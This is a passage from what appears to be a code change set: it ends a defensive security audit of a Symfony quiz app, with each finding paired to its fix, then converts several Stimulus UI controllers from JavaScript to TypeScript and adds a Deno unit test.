`form_login` had no `login_throttling` and no rate limiter was configured anywhere. `/login` allowed unlimited password guessing; the public `POST /` season-code entry (`QuizController.php:35`) was likewise an unthrottled oracle for enumerating the ~3.2M-space season codes (5 chars, 20-consonant alphabet).
|
||||||
|
|
||||||
|
**Fix applied:**
|
||||||
|
- Added `symfony/rate-limiter` as a composer dependency and enabled `login_throttling` (`max_attempts: 5`) on the `main` firewall in `config/packages/security.yaml`, using Symfony's built-in per-user/global rate limiter.
|
||||||
|
- Added a dedicated `season_code` rate limiter (`framework.rate_limiter`, sliding window, 20 attempts/minute per IP) in `config/packages/framework.yaml`, enforced in `QuizController::selectSeason` — a `TooManyRequestsHttpException` (429) is thrown once the client IP exceeds the limit, before the season-code form is even validated.
|
||||||
|
- Both limiters have lower `when@test` overrides so tests run fast and deterministically.
|
||||||
|
- Regression tests added: `testLoginIsThrottledAfterTooManyFailedAttempts` (`tests/Controller/LoginControllerTest.php`) and `testSelectSeasonIsThrottledAfterTooManyAttempts` (`tests/Controller/QuizControllerTest.php`), both written first, confirmed failing against the old config, now passing.
|
||||||
|
|
||||||
|
### 5. Open self-registration grants immediate backoffice access
|
||||||
|
|
||||||
|
**Files:** `src/Controller/RegistrationController.php:40-56`, `config/packages/security.yaml:31`
|
||||||
|
|
||||||
|
Registration auto-logs-in a new user *before* email verification, and `^/backoffice` requires only `IS_AUTHENTICATED`. Any anonymous visitor gets an authenticated foothold to probe every backoffice route — the precondition that makes finding 1 practically exploitable.
|
||||||
|
|
||||||
|
**Fix / decision needed:** Confirm whether open registration into the backoffice is intended. If so, gate sensitive areas behind verified email and add a CAPTCHA/rate limit to registration.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Low
|
||||||
|
|
||||||
|
- **6. Double-submit race can inflate score** (`src/Controller/QuizController.php:120-128`): no unique constraint on `GivenAnswer` and a TOCTOU between the "is this the next question" check and the insert. Concurrent POSTs of the known-correct answer each insert a row, each counted correct. Add a unique index on (quizCandidate, question).
|
||||||
|
- **7. Answer-POST path never checks `isFinalized`/`isLocked`** (`src/Controller/QuizController.php:102-131`): a finalized quiz still set as `activeQuiz` stays answerable. The POST path also doesn't assert a `QuizCandidate` exists (only GET does) — currently not exploitable but worth hardening.
|
||||||
|
- **8. Server-side formula evaluation of uploaded XLSX** (`src/Service/QuizSpreadsheetService.php:68`): `toArray()` leaves `calculateFormulas` at default `true`, allowing CPU-burn via nested formulas on import. Pass `calculateFormulas: false`.
|
||||||
|
- **9. Containers run as root** (`Dockerfile`, no `USER` directive): any PHP RCE is immediately root in-container.
|
||||||
|
- **10. No security response headers in prod** (`frankenphp/Caddyfile:45`): no CSP/`frame-ancestors`, `X-Content-Type-Options`, or HSTS — backoffice is clickjackable.
|
||||||
|
- **11. Committed `APP_SECRET`** (`.env.dev:3`, dev-only): prod uses `composer dump-env prod` with an env-provided secret, so scope is limited to any environment misconfigured to `APP_ENV=dev`. Consider rotating regardless since the value is now public.
|
||||||
|
- **12. `zend.exception_ignore_args = Off`** (`frankenphp/conf.d/10-app.ini:15`, prod): a stack trace in a password-handling path could ship plaintext to Sentry.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Confirmed clean
|
||||||
|
|
||||||
|
No SQL/DQL injection (all queries parameterized), essentially no XSS surface (one `|raw` on an app-generated signed URL; GitHub release markdown is escaped), no `unserialize`/`eval`/shell-exec anywhere, safe redirects (open-redirect listener validates the logout `target`), no correct-answer or score leakage to candidates, server-set timing (no client-forgeable timestamps), zip creation with sanitized filenames (no zip-slip/path traversal), and a clean CI workflow (least-privilege permissions, SHA-pinned actions, no `pull_request_target`).
|
||||||
@@ -2,12 +2,15 @@ import 'bootstrap/dist/css/bootstrap.min.css';
|
|||||||
import 'bootstrap-icons/font/bootstrap-icons.min.css';
|
import 'bootstrap-icons/font/bootstrap-icons.min.css';
|
||||||
import './styles/backoffice.scss';
|
import './styles/backoffice.scss';
|
||||||
import '@hotwired/turbo';
|
import '@hotwired/turbo';
|
||||||
import './stimulus.js';
|
import './stimulus.ts';
|
||||||
import './bootstrap.js';
|
import './bootstrap.ts';
|
||||||
import * as Sentry from '@sentry/browser';
|
import * as Sentry from '@sentry/browser';
|
||||||
|
|
||||||
const dsn = document.querySelector('meta[name="sentry-dsn"]')?.content ?? '';
|
const dsn = document.querySelector<HTMLMetaElement>('meta[name="sentry-dsn"]')
|
||||||
const userEmail = document.querySelector('meta[name="user-email"]')?.content ?? '';
|
?.content ?? '';
|
||||||
|
const userEmail =
|
||||||
|
document.querySelector<HTMLMetaElement>('meta[name="user-email"]')
|
||||||
|
?.content ?? '';
|
||||||
|
|
||||||
// When no real DSN is configured, route to the local Spotlight sidecar so
|
// When no real DSN is configured, route to the local Spotlight sidecar so
|
||||||
// nothing reaches Sentry. A syntactically valid DSN is still required for the
|
// nothing reaches Sentry. A syntactically valid DSN is still required for the
|
||||||
Vendored
-1
@@ -1 +0,0 @@
|
|||||||
import * as bootstrap from 'bootstrap'
|
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
import 'bootstrap';
|
||||||
@@ -1,136 +0,0 @@
|
|||||||
import {Controller} from '@hotwired/stimulus';
|
|
||||||
|
|
||||||
export default class extends Controller {
|
|
||||||
static targets = ['collection'];
|
|
||||||
static values = {prototype: String};
|
|
||||||
|
|
||||||
connect() {
|
|
||||||
this.index = this.collectionTarget.children.length;
|
|
||||||
this._syncOrdering();
|
|
||||||
|
|
||||||
if (this.index === 0) {
|
|
||||||
this.addItem();
|
|
||||||
}
|
|
||||||
|
|
||||||
// `submit` fires on the ancestor <form>, which is outside this controller's
|
|
||||||
// subtree. Stimulus data-action only works within the controller element, so
|
|
||||||
// addEventListener on the form is the only option here.
|
|
||||||
this._form = this.element.closest('form');
|
|
||||||
if (this._form) {
|
|
||||||
this._submitHandler = () => {
|
|
||||||
[...this.collectionTarget.children].forEach(item => {
|
|
||||||
const input = item.querySelector('input[type="text"]');
|
|
||||||
if (input && input.value.trim() === '') item.remove();
|
|
||||||
});
|
|
||||||
};
|
|
||||||
this._form.addEventListener('submit', this._submitHandler);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
disconnect() {
|
|
||||||
if (this._form && this._submitHandler) {
|
|
||||||
this._form.removeEventListener('submit', this._submitHandler);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
addItem() {
|
|
||||||
const item = document.createElement('div');
|
|
||||||
item.innerHTML = this.prototypeValue.replace(/__name__/g, this.index);
|
|
||||||
const el = item.firstElementChild;
|
|
||||||
this.collectionTarget.appendChild(el);
|
|
||||||
this.index++;
|
|
||||||
this._syncOrdering();
|
|
||||||
}
|
|
||||||
|
|
||||||
removeItem(event) {
|
|
||||||
event.target.closest('[data-collection-item]').remove();
|
|
||||||
this._notifyChange();
|
|
||||||
}
|
|
||||||
|
|
||||||
sortAlphabetically() {
|
|
||||||
const items = [...this.collectionTarget.children];
|
|
||||||
items.sort((a, b) => {
|
|
||||||
const textA = (a.querySelector('input[type="text"]')?.value ?? '').toLowerCase();
|
|
||||||
const textB = (b.querySelector('input[type="text"]')?.value ?? '').toLowerCase();
|
|
||||||
return textA.localeCompare(textB);
|
|
||||||
});
|
|
||||||
items.forEach(item => this.collectionTarget.appendChild(item));
|
|
||||||
this._syncOrdering();
|
|
||||||
this._notifyChange();
|
|
||||||
}
|
|
||||||
|
|
||||||
randomize() {
|
|
||||||
const items = [...this.collectionTarget.children];
|
|
||||||
for (let i = items.length - 1; i > 0; i--) {
|
|
||||||
const j = Math.floor(Math.random() * (i + 1));
|
|
||||||
[items[i], items[j]] = [items[j], items[i]];
|
|
||||||
}
|
|
||||||
items.forEach(item => this.collectionTarget.appendChild(item));
|
|
||||||
this._syncOrdering();
|
|
||||||
this._notifyChange();
|
|
||||||
}
|
|
||||||
|
|
||||||
autoExpand(event) {
|
|
||||||
if (event.target.type !== 'text') return;
|
|
||||||
const item = event.target.closest('[data-collection-item]');
|
|
||||||
const last = [...this.collectionTarget.children].at(-1);
|
|
||||||
if (item && item === last && event.target.value.trim() !== '') {
|
|
||||||
this.addItem();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// — drag-and-drop —
|
|
||||||
|
|
||||||
dragStart(event) {
|
|
||||||
this._dragging = event.currentTarget.closest('[data-collection-item]');
|
|
||||||
this._dragging.classList.add('opacity-50');
|
|
||||||
event.dataTransfer.effectAllowed = 'move';
|
|
||||||
}
|
|
||||||
|
|
||||||
dragEnd(event) {
|
|
||||||
event.currentTarget.closest('[data-collection-item]').classList.remove('opacity-50');
|
|
||||||
this._dragging = null;
|
|
||||||
this.collectionTarget.querySelectorAll('[data-collection-item]').forEach(i =>
|
|
||||||
i.classList.remove('border-top', 'border-bottom', 'border-primary'),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
dragOver(event) {
|
|
||||||
event.preventDefault();
|
|
||||||
const el = event.currentTarget;
|
|
||||||
if (!this._dragging || this._dragging === el) return;
|
|
||||||
event.dataTransfer.dropEffect = 'move';
|
|
||||||
const rect = el.getBoundingClientRect();
|
|
||||||
const isBottom = event.clientY > rect.top + rect.height / 2;
|
|
||||||
el.classList.toggle('border-top', !isBottom);
|
|
||||||
el.classList.toggle('border-bottom', isBottom);
|
|
||||||
el.classList.add('border-primary');
|
|
||||||
}
|
|
||||||
|
|
||||||
dragLeave(event) {
|
|
||||||
event.currentTarget.classList.remove('border-top', 'border-bottom', 'border-primary');
|
|
||||||
}
|
|
||||||
|
|
||||||
drop(event) {
|
|
||||||
event.preventDefault();
|
|
||||||
const el = event.currentTarget;
|
|
||||||
el.classList.remove('border-top', 'border-bottom', 'border-primary');
|
|
||||||
if (!this._dragging || this._dragging === el) return;
|
|
||||||
const rect = el.getBoundingClientRect();
|
|
||||||
const isBottom = event.clientY > rect.top + rect.height / 2;
|
|
||||||
this.collectionTarget.insertBefore(this._dragging, isBottom ? el.nextSibling : el);
|
|
||||||
this._syncOrdering();
|
|
||||||
this._notifyChange();
|
|
||||||
}
|
|
||||||
|
|
||||||
_notifyChange() {
|
|
||||||
this.element.dispatchEvent(new Event('change', {bubbles: true}));
|
|
||||||
}
|
|
||||||
|
|
||||||
_syncOrdering() {
|
|
||||||
[...this.collectionTarget.children].forEach((el, i) => {
|
|
||||||
const input = el.querySelector('input[name*="[ordering]"]');
|
|
||||||
if (input) input.value = i;
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,172 @@
|
|||||||
|
import { Controller } from '@hotwired/stimulus';
|
||||||
|
|
||||||
|
export default class extends Controller {
|
||||||
|
static targets = ['collection'];
|
||||||
|
static values = { prototype: String };
|
||||||
|
|
||||||
|
declare readonly collectionTarget: HTMLElement;
|
||||||
|
declare readonly prototypeValue: string;
|
||||||
|
|
||||||
|
index = 0;
|
||||||
|
_dragging: Element | null = null;
|
||||||
|
_form: HTMLFormElement | null = null;
|
||||||
|
_submitHandler: (() => void) | null = null;
|
||||||
|
|
||||||
|
connect(): void {
|
||||||
|
this.index = this.collectionTarget.children.length;
|
||||||
|
this._syncOrdering();
|
||||||
|
|
||||||
|
if (this.index === 0) {
|
||||||
|
this.addItem();
|
||||||
|
}
|
||||||
|
|
||||||
|
// `submit` fires on the ancestor <form>, which is outside this controller's
|
||||||
|
// subtree. Stimulus data-action only works within the controller element, so
|
||||||
|
// addEventListener on the form is the only option here.
|
||||||
|
this._form = this.element.closest('form');
|
||||||
|
if (this._form) {
|
||||||
|
this._submitHandler = () => {
|
||||||
|
[...this.collectionTarget.children].forEach((item) => {
|
||||||
|
const input = item.querySelector<HTMLInputElement>(
|
||||||
|
'input[type="text"]',
|
||||||
|
);
|
||||||
|
if (input && input.value.trim() === '') item.remove();
|
||||||
|
});
|
||||||
|
};
|
||||||
|
this._form.addEventListener('submit', this._submitHandler);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
disconnect(): void {
|
||||||
|
if (this._form && this._submitHandler) {
|
||||||
|
this._form.removeEventListener('submit', this._submitHandler);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
addItem(): void {
|
||||||
|
const item = document.createElement('div');
|
||||||
|
item.innerHTML = this.prototypeValue.replace(
|
||||||
|
/__name__/g,
|
||||||
|
String(this.index),
|
||||||
|
);
|
||||||
|
const el = item.firstElementChild;
|
||||||
|
if (el) this.collectionTarget.appendChild(el);
|
||||||
|
this.index++;
|
||||||
|
this._syncOrdering();
|
||||||
|
}
|
||||||
|
|
||||||
|
removeItem(event: Event): void {
|
||||||
|
(event.target as HTMLElement).closest('[data-collection-item]')
|
||||||
|
?.remove();
|
||||||
|
this._notifyChange();
|
||||||
|
}
|
||||||
|
|
||||||
|
sortAlphabetically(): void {
|
||||||
|
const items = [...this.collectionTarget.children];
|
||||||
|
items.sort((a, b) => {
|
||||||
|
const textA =
|
||||||
|
(a.querySelector<HTMLInputElement>('input[type="text"]')
|
||||||
|
?.value ?? '').toLowerCase();
|
||||||
|
const textB =
|
||||||
|
(b.querySelector<HTMLInputElement>('input[type="text"]')
|
||||||
|
?.value ?? '').toLowerCase();
|
||||||
|
return textA.localeCompare(textB);
|
||||||
|
});
|
||||||
|
items.forEach((item) => this.collectionTarget.appendChild(item));
|
||||||
|
this._syncOrdering();
|
||||||
|
this._notifyChange();
|
||||||
|
}
|
||||||
|
|
||||||
|
randomize(): void {
|
||||||
|
const items = [...this.collectionTarget.children];
|
||||||
|
for (let i = items.length - 1; i > 0; i--) {
|
||||||
|
const j = Math.floor(Math.random() * (i + 1));
|
||||||
|
[items[i], items[j]] = [items[j], items[i]];
|
||||||
|
}
|
||||||
|
items.forEach((item) => this.collectionTarget.appendChild(item));
|
||||||
|
this._syncOrdering();
|
||||||
|
this._notifyChange();
|
||||||
|
}
|
||||||
|
|
||||||
|
autoExpand(event: Event): void {
|
||||||
|
const target = event.target as HTMLInputElement;
|
||||||
|
if (target.type !== 'text') return;
|
||||||
|
const item = target.closest('[data-collection-item]');
|
||||||
|
const last = [...this.collectionTarget.children].at(-1);
|
||||||
|
if (item && item === last && target.value.trim() !== '') {
|
||||||
|
this.addItem();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// — drag-and-drop —
|
||||||
|
|
||||||
|
dragStart(event: DragEvent): void {
|
||||||
|
this._dragging = (event.currentTarget as HTMLElement).closest(
|
||||||
|
'[data-collection-item]',
|
||||||
|
);
|
||||||
|
this._dragging?.classList.add('opacity-50');
|
||||||
|
event.dataTransfer!.effectAllowed = 'move';
|
||||||
|
}
|
||||||
|
|
||||||
|
dragEnd(event: DragEvent): void {
|
||||||
|
(event.currentTarget as HTMLElement).closest('[data-collection-item]')
|
||||||
|
?.classList.remove('opacity-50');
|
||||||
|
this._dragging = null;
|
||||||
|
this.collectionTarget.querySelectorAll('[data-collection-item]')
|
||||||
|
.forEach((i) =>
|
||||||
|
i.classList.remove(
|
||||||
|
'border-top',
|
||||||
|
'border-bottom',
|
||||||
|
'border-primary',
|
||||||
|
)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
dragOver(event: DragEvent): void {
|
||||||
|
event.preventDefault();
|
||||||
|
const el = event.currentTarget as HTMLElement;
|
||||||
|
if (!this._dragging || this._dragging === el) return;
|
||||||
|
event.dataTransfer!.dropEffect = 'move';
|
||||||
|
const rect = el.getBoundingClientRect();
|
||||||
|
const isBottom = event.clientY > rect.top + rect.height / 2;
|
||||||
|
el.classList.toggle('border-top', !isBottom);
|
||||||
|
el.classList.toggle('border-bottom', isBottom);
|
||||||
|
el.classList.add('border-primary');
|
||||||
|
}
|
||||||
|
|
||||||
|
dragLeave(event: DragEvent): void {
|
||||||
|
(event.currentTarget as HTMLElement).classList.remove(
|
||||||
|
'border-top',
|
||||||
|
'border-bottom',
|
||||||
|
'border-primary',
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
drop(event: DragEvent): void {
|
||||||
|
event.preventDefault();
|
||||||
|
const el = event.currentTarget as HTMLElement;
|
||||||
|
el.classList.remove('border-top', 'border-bottom', 'border-primary');
|
||||||
|
if (!this._dragging || this._dragging === el) return;
|
||||||
|
const rect = el.getBoundingClientRect();
|
||||||
|
const isBottom = event.clientY > rect.top + rect.height / 2;
|
||||||
|
this.collectionTarget.insertBefore(
|
||||||
|
this._dragging,
|
||||||
|
isBottom ? el.nextSibling : el,
|
||||||
|
);
|
||||||
|
this._syncOrdering();
|
||||||
|
this._notifyChange();
|
||||||
|
}
|
||||||
|
|
||||||
|
_notifyChange(): void {
|
||||||
|
this.element.dispatchEvent(new Event('change', { bubbles: true }));
|
||||||
|
}
|
||||||
|
|
||||||
|
_syncOrdering(): void {
|
||||||
|
[...this.collectionTarget.children].forEach((el, i) => {
|
||||||
|
const input = el.querySelector<HTMLInputElement>(
|
||||||
|
'input[name*="[ordering]"]',
|
||||||
|
);
|
||||||
|
if (input) input.value = String(i);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,114 @@
|
|||||||
|
import { assertEquals } from '@std/assert';
|
||||||
|
|
||||||
|
// Stimulus's Controller base class constructor only does `this.context = context`,
|
||||||
|
// and target getters are normally installed by Application.register — since we
|
||||||
|
// construct the controller directly (no real Stimulus app), collectionTarget/element
|
||||||
|
// are assigned here as plain writable properties, backed by a minimal fake DOM
|
||||||
|
// container that supports the one operation these methods actually rely on:
|
||||||
|
// appendChild() moving an existing child to the end (real DOM semantics).
|
||||||
|
class FakeInput {
|
||||||
|
value: string;
|
||||||
|
constructor(value = '') {
|
||||||
|
this.value = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class FakeItem {
|
||||||
|
textInput: FakeInput;
|
||||||
|
orderingInput = new FakeInput();
|
||||||
|
|
||||||
|
constructor(text: string) {
|
||||||
|
this.textInput = new FakeInput(text);
|
||||||
|
}
|
||||||
|
|
||||||
|
querySelector<T>(selector: string): T | null {
|
||||||
|
if (selector.includes('type="text"')) {
|
||||||
|
return this.textInput as unknown as T;
|
||||||
|
}
|
||||||
|
if (selector.includes('ordering')) {
|
||||||
|
return this.orderingInput as unknown as T;
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class FakeCollection {
|
||||||
|
children: FakeItem[] = [];
|
||||||
|
|
||||||
|
appendChild(item: FakeItem) {
|
||||||
|
const idx = this.children.indexOf(item);
|
||||||
|
if (idx !== -1) this.children.splice(idx, 1);
|
||||||
|
this.children.push(item);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const { default: FormCollectionController } = await import(
|
||||||
|
'./form_collection_controller.ts'
|
||||||
|
);
|
||||||
|
|
||||||
|
// deno-lint-ignore no-explicit-any
|
||||||
|
function makeController(items: FakeItem[]): any {
|
||||||
|
const collectionTarget = new FakeCollection();
|
||||||
|
collectionTarget.children = items;
|
||||||
|
// `element` is a read-only getter on Controller (delegates to `this.scope.element`),
|
||||||
|
// so the fake element is supplied via the constructor context rather than assigned.
|
||||||
|
const controller = new FormCollectionController({
|
||||||
|
scope: { element: { dispatchEvent: () => true } },
|
||||||
|
} as never);
|
||||||
|
return Object.assign(controller, { collectionTarget });
|
||||||
|
}
|
||||||
|
|
||||||
|
Deno.test("_syncOrdering writes the current index into each item's ordering input", () => {
|
||||||
|
const items = [new FakeItem('c'), new FakeItem('a'), new FakeItem('b')];
|
||||||
|
const controller = makeController(items);
|
||||||
|
|
||||||
|
controller._syncOrdering();
|
||||||
|
|
||||||
|
assertEquals(items.map((i) => i.orderingInput.value), ['0', '1', '2']);
|
||||||
|
});
|
||||||
|
|
||||||
|
Deno.test('sortAlphabetically reorders items by their text input value, case-insensitively', () => {
|
||||||
|
const c = new FakeItem('Charlie');
|
||||||
|
const a = new FakeItem('alice');
|
||||||
|
const b = new FakeItem('Bob');
|
||||||
|
const controller = makeController([c, a, b]);
|
||||||
|
|
||||||
|
controller.sortAlphabetically();
|
||||||
|
|
||||||
|
assertEquals(
|
||||||
|
controller.collectionTarget.children.map((i: FakeItem) =>
|
||||||
|
i.textInput.value
|
||||||
|
),
|
||||||
|
['alice', 'Bob', 'Charlie'],
|
||||||
|
);
|
||||||
|
// _syncOrdering must run after the reorder, against the new order
|
||||||
|
assertEquals(
|
||||||
|
controller.collectionTarget.children.map((i: FakeItem) =>
|
||||||
|
i.orderingInput.value
|
||||||
|
),
|
||||||
|
['0', '1', '2'],
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
Deno.test('randomize keeps the same set of items and resyncs ordering', () => {
|
||||||
|
const items = [
|
||||||
|
new FakeItem('1'),
|
||||||
|
new FakeItem('2'),
|
||||||
|
new FakeItem('3'),
|
||||||
|
new FakeItem('4'),
|
||||||
|
];
|
||||||
|
const controller = makeController([...items]);
|
||||||
|
|
||||||
|
controller.randomize();
|
||||||
|
|
||||||
|
const resultValues = controller.collectionTarget.children.map((
|
||||||
|
i: FakeItem,
|
||||||
|
) => i.textInput.value);
|
||||||
|
assertEquals(resultValues.slice().sort(), ['1', '2', '3', '4']);
|
||||||
|
assertEquals(
|
||||||
|
controller.collectionTarget.children.map((i: FakeItem) =>
|
||||||
|
i.orderingInput.value
|
||||||
|
),
|
||||||
|
['0', '1', '2', '3'],
|
||||||
|
);
|
||||||
|
});
|
||||||
@@ -1,49 +0,0 @@
|
|||||||
import {Controller} from '@hotwired/stimulus';
|
|
||||||
import {Modal} from 'bootstrap';
|
|
||||||
import {visit} from '@hotwired/turbo';
|
|
||||||
|
|
||||||
export default class extends Controller {
|
|
||||||
static targets = ['modal', 'frame'];
|
|
||||||
|
|
||||||
open(event) {
|
|
||||||
event.preventDefault();
|
|
||||||
const {src, modalTitle} = event.currentTarget.dataset;
|
|
||||||
if (modalTitle) {
|
|
||||||
const titleEl = this.modalTarget.querySelector('.modal-title');
|
|
||||||
if (titleEl) titleEl.textContent = modalTitle;
|
|
||||||
}
|
|
||||||
this.resetDirty();
|
|
||||||
this.frameTarget.innerHTML = '<div class="modal-body text-center py-4"><div class="spinner-border" role="status"></div></div>';
|
|
||||||
this.frameTarget.removeAttribute('src');
|
|
||||||
this.frameTarget.setAttribute('src', src);
|
|
||||||
Modal.getOrCreateInstance(this.modalTarget).show();
|
|
||||||
}
|
|
||||||
|
|
||||||
frameSubmitEnd(event) {
|
|
||||||
if (event.detail.success) {
|
|
||||||
Modal.getOrCreateInstance(this.modalTarget).hide();
|
|
||||||
visit(window.location.href);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
markDirty() {
|
|
||||||
if (this._dirty) return;
|
|
||||||
this._dirty = true;
|
|
||||||
// Using _config instead of preventDefault on hide.bs.modal because we need
|
|
||||||
// to block only user-triggered dismissal (backdrop click, Escape key) while
|
|
||||||
// keeping programmatic hide() working — frameSubmitEnd() calls hide() after
|
|
||||||
// a successful save and must not be blocked. _config.backdrop/keyboard is
|
|
||||||
// the correct primitive for that distinction and has been stable across all
|
|
||||||
// Bootstrap 5.x releases.
|
|
||||||
const modal = Modal.getOrCreateInstance(this.modalTarget);
|
|
||||||
modal._config.backdrop = 'static';
|
|
||||||
modal._config.keyboard = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
resetDirty() {
|
|
||||||
this._dirty = false;
|
|
||||||
const modal = Modal.getOrCreateInstance(this.modalTarget);
|
|
||||||
modal._config.backdrop = true;
|
|
||||||
modal._config.keyboard = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,66 @@
|
|||||||
|
import { Controller } from '@hotwired/stimulus';
|
||||||
|
import { Modal } from 'bootstrap';
|
||||||
|
import { visit } from '@hotwired/turbo';
|
||||||
|
|
||||||
|
// Bootstrap's public Modal type doesn't expose `_config` (an internal, but stable, field
|
||||||
|
// across all 5.x releases) — extend it locally rather than casting to `any` everywhere.
|
||||||
|
interface ModalWithConfig extends Modal {
|
||||||
|
_config: { backdrop: boolean | 'static'; keyboard: boolean };
|
||||||
|
}
|
||||||
|
|
||||||
|
export default class extends Controller {
|
||||||
|
static targets = ['modal', 'frame'];
|
||||||
|
|
||||||
|
declare readonly modalTarget: HTMLElement;
|
||||||
|
declare readonly frameTarget: HTMLElement;
|
||||||
|
|
||||||
|
_dirty = false;
|
||||||
|
|
||||||
|
open(event: MouseEvent): void {
|
||||||
|
event.preventDefault();
|
||||||
|
const { src, modalTitle } =
|
||||||
|
(event.currentTarget as HTMLElement).dataset;
|
||||||
|
if (modalTitle) {
|
||||||
|
const titleEl = this.modalTarget.querySelector('.modal-title');
|
||||||
|
if (titleEl) titleEl.textContent = modalTitle;
|
||||||
|
}
|
||||||
|
this.resetDirty();
|
||||||
|
this.frameTarget.innerHTML =
|
||||||
|
'<div class="modal-body text-center py-4"><div class="spinner-border" role="status"></div></div>';
|
||||||
|
this.frameTarget.removeAttribute('src');
|
||||||
|
if (src) this.frameTarget.setAttribute('src', src);
|
||||||
|
Modal.getOrCreateInstance(this.modalTarget).show();
|
||||||
|
}
|
||||||
|
|
||||||
|
frameSubmitEnd(event: CustomEvent<{ success: boolean }>): void {
|
||||||
|
if (event.detail.success) {
|
||||||
|
Modal.getOrCreateInstance(this.modalTarget).hide();
|
||||||
|
visit(window.location.href);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
markDirty(): void {
|
||||||
|
if (this._dirty) return;
|
||||||
|
this._dirty = true;
|
||||||
|
// Using _config instead of preventDefault on hide.bs.modal because we need
|
||||||
|
// to block only user-triggered dismissal (backdrop click, Escape key) while
|
||||||
|
// keeping programmatic hide() working — frameSubmitEnd() calls hide() after
|
||||||
|
// a successful save and must not be blocked. _config.backdrop/keyboard is
|
||||||
|
// the correct primitive for that distinction and has been stable across all
|
||||||
|
// Bootstrap 5.x releases.
|
||||||
|
const modal = Modal.getOrCreateInstance(
|
||||||
|
this.modalTarget,
|
||||||
|
) as ModalWithConfig;
|
||||||
|
modal._config.backdrop = 'static';
|
||||||
|
modal._config.keyboard = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
resetDirty(): void {
|
||||||
|
this._dirty = false;
|
||||||
|
const modal = Modal.getOrCreateInstance(
|
||||||
|
this.modalTarget,
|
||||||
|
) as ModalWithConfig;
|
||||||
|
modal._config.backdrop = true;
|
||||||
|
modal._config.keyboard = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
import {Controller} from '@hotwired/stimulus';
|
|
||||||
import {Popover} from 'bootstrap';
|
|
||||||
|
|
||||||
export default class extends Controller {
|
|
||||||
connect() {
|
|
||||||
this.popovers = [...this.element.querySelectorAll('[data-bs-toggle="popover"]')]
|
|
||||||
.map(popoverTriggerEl => Popover.getOrCreateInstance(popoverTriggerEl));
|
|
||||||
}
|
|
||||||
|
|
||||||
disconnect() {
|
|
||||||
this.popovers.forEach(popover => popover.dispose());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
import { Controller } from '@hotwired/stimulus';
|
||||||
|
import { Popover } from 'bootstrap';
|
||||||
|
|
||||||
|
export default class extends Controller {
|
||||||
|
popovers: Popover[] = [];
|
||||||
|
|
||||||
|
connect(): void {
|
||||||
|
this.popovers = [
|
||||||
|
...this.element.querySelectorAll('[data-bs-toggle="popover"]'),
|
||||||
|
]
|
||||||
|
.map((popoverTriggerEl) =>
|
||||||
|
Popover.getOrCreateInstance(popoverTriggerEl)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
disconnect(): void {
|
||||||
|
this.popovers.forEach((popover) => popover.dispose());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,123 +0,0 @@
|
|||||||
import {Controller} from '@hotwired/stimulus';
|
|
||||||
|
|
||||||
export default class extends Controller {
|
|
||||||
static targets = ['list', 'item', 'status'];
|
|
||||||
static values = {
|
|
||||||
reorderUrl: String,
|
|
||||||
csrf: String,
|
|
||||||
savedLabel: String,
|
|
||||||
errorLabel: String,
|
|
||||||
errorHint: String,
|
|
||||||
};
|
|
||||||
|
|
||||||
connect() {
|
|
||||||
this._locked = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
dragStart(event) {
|
|
||||||
const item = event.currentTarget.closest('[data-bo--question-list-target="item"]');
|
|
||||||
this._dragging = item;
|
|
||||||
event.dataTransfer.effectAllowed = 'move';
|
|
||||||
setTimeout(() => item.classList.add('opacity-50'), 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
dragEnd(event) {
|
|
||||||
const item = event.currentTarget.closest('[data-bo--question-list-target="item"]');
|
|
||||||
item.classList.remove('opacity-50');
|
|
||||||
this._dragging = null;
|
|
||||||
this._removePlaceholder();
|
|
||||||
}
|
|
||||||
|
|
||||||
dragOver(event) {
|
|
||||||
event.preventDefault();
|
|
||||||
if (!this._dragging) return;
|
|
||||||
event.dataTransfer.dropEffect = 'move';
|
|
||||||
|
|
||||||
const target = event.target.closest('[data-bo--question-list-target="item"]');
|
|
||||||
if (!target || target === this._dragging) return;
|
|
||||||
|
|
||||||
const rect = target.getBoundingClientRect();
|
|
||||||
const insertBefore = event.clientY > rect.top + rect.height / 2 ? target.nextSibling : target;
|
|
||||||
|
|
||||||
if (!this._placeholder) {
|
|
||||||
this._placeholder = document.createElement('div');
|
|
||||||
this._placeholder.className = 'bg-primary rounded mb-2';
|
|
||||||
this._placeholder.style.height = '3px';
|
|
||||||
}
|
|
||||||
|
|
||||||
if (this._placeholder.nextSibling !== insertBefore) {
|
|
||||||
this.listTarget.insertBefore(this._placeholder, insertBefore);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
dragLeave(event) {
|
|
||||||
